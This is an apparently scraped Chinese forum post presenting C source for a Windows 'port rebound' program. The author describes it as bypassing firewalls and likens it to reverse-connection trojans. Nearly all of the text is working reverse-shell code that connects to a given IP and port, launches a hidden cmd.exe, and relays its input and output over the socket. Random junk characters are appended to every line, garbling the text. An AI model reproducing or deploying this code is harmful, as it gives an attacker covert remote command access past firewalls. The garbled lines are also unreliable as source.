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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ?8vjHEE  
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/* ============================== (v(_ XlMK  
Rebound port in Windows NT b\^Sz{  
By wind,2006/7 s,` n=#  
===============================*/ +{Q\B}3cj1  
#include i<%(Z[9Lk  
#include .dM 0  
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#pragma comment(lib,"wsock32.lib") TR ]lP<m  
{9C(\i +  
void OutputShell(); v SWqOv$  
SOCKET sClient; {/B) YR  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; M~ *E!  
hoU&'P8  
void main(int argc,char **argv) 94K ;=5h  
{ (y(V,kXwa8  
WSADATA stWsaData; #Oe=G:+A  
int nRet; oZOFZ-<  
SOCKADDR_IN stSaiClient,stSaiServer; s'/.ea V_  
S:^Q(w7  
if(argc != 3) ]YOQIzkL4}  
{ BB>7%~3f  
printf("Useage:\n\rRebound DestIP DestPort\n"); #yU4X\oO  
return; _VY]  
} %/S BJ  
Zz/w>kAG*{  
WSAStartup(MAKEWORD(2,2),&stWsaData); N<:Ra~Ay  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~ZvZ k  
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stSaiClient.sin_family = AF_INET; hpAIIgn  
stSaiClient.sin_port = htons(0); gvsS:4N"Nq  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); eeL%Yp3+  
~r>WnI:vg  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) gb@!Co3  
{ IP{Cj=  
printf("Bind Socket Failed!\n"); Bv9;q3]z-  
return; -B`;Sx  
} bF B;N+>  
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stSaiServer.sin_family = AF_INET; hXM C!~Th  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Ea P#~x  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); R` X$@iM  
.cu5h   
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9N'$Y*. d<  
{ CQv [Od  
printf("Connect Error!"); "rAm6b-`  
return; .X:{s,@  
} J'B;  
OutputShell(); I s8|  
} \&e+f#!u  
^g~-$t<!  
void OutputShell() M{nz~W80  
{ UejG$JyHP  
char szBuff[1024]; Dq-h`lh!D#  
SECURITY_ATTRIBUTES stSecurityAttributes; =Oo*7|Z  
OSVERSIONINFO stOsversionInfo; KJ(zLwQ:  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; JaIj 9KLNX  
STARTUPINFO stStartupInfo; %|-Rh^H[JK  
char *szShell; ytAhhwN~  
PROCESS_INFORMATION stProcessInformation; f_z2d+  
unsigned long lBytesRead; czHO)uQ?d`  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2\s-4H| q  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); o'H$g%  
stSecurityAttributes.lpSecurityDescriptor = 0; FWD9!M K  
stSecurityAttributes.bInheritHandle = TRUE; )hQ`l d7B  
QQrvT,]  
WP}__1!%u  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 4Y-9W2s  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {/ty{  
71)HxC[6vA  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2;kab^iv'  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E6@+w.VVO  
stStartupInfo.wShowWindow = SW_HIDE; A\SbuRty  
stStartupInfo.hStdInput = hReadPipe; <|m"Q!f  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; KDn`XCnk,  
e?f[t*td  
GetVersionEx(&stOsversionInfo); O#k?c }  
hcN$p2-  
switch(stOsversionInfo.dwPlatformId) _L: /2  
{ *$hO C%(  
case 1: >,~JQ%1  
szShell = "command.com"; xJO[pT v  
break; 5Impv3qaZ  
default: u |f h!-  
szShell = "cmd.exe"; !Noabt  
break; qv,|7yw{  
} OZISh?  
tcRK\  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); w5&UG/z%l  
q.g!WLiI  
send(sClient,szMsg,77,0); M8g=t[\  
while(1) f'#7i@Je  
{ O %)+ w  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); F*]AjD-  
if(lBytesRead) $jw!DrE  
{ ^&cI+xZ2Y  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); mBnC]$<R  
send(sClient,szBuff,lBytesRead,0); uF< F4m;  
} @V<tg"(c  
else D|+H!f{k  
{ pf2$%lE  
lBytesRead=recv(sClient,szBuff,1024,0); 8, WQ}cC  
if(lBytesRead<=0) break; h,\_F#hi  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); c[j3_fn1]  
} WOg_Pn9HI  
} 9OTw6  
 0J_Np  
return; 40:YJ_n  
}
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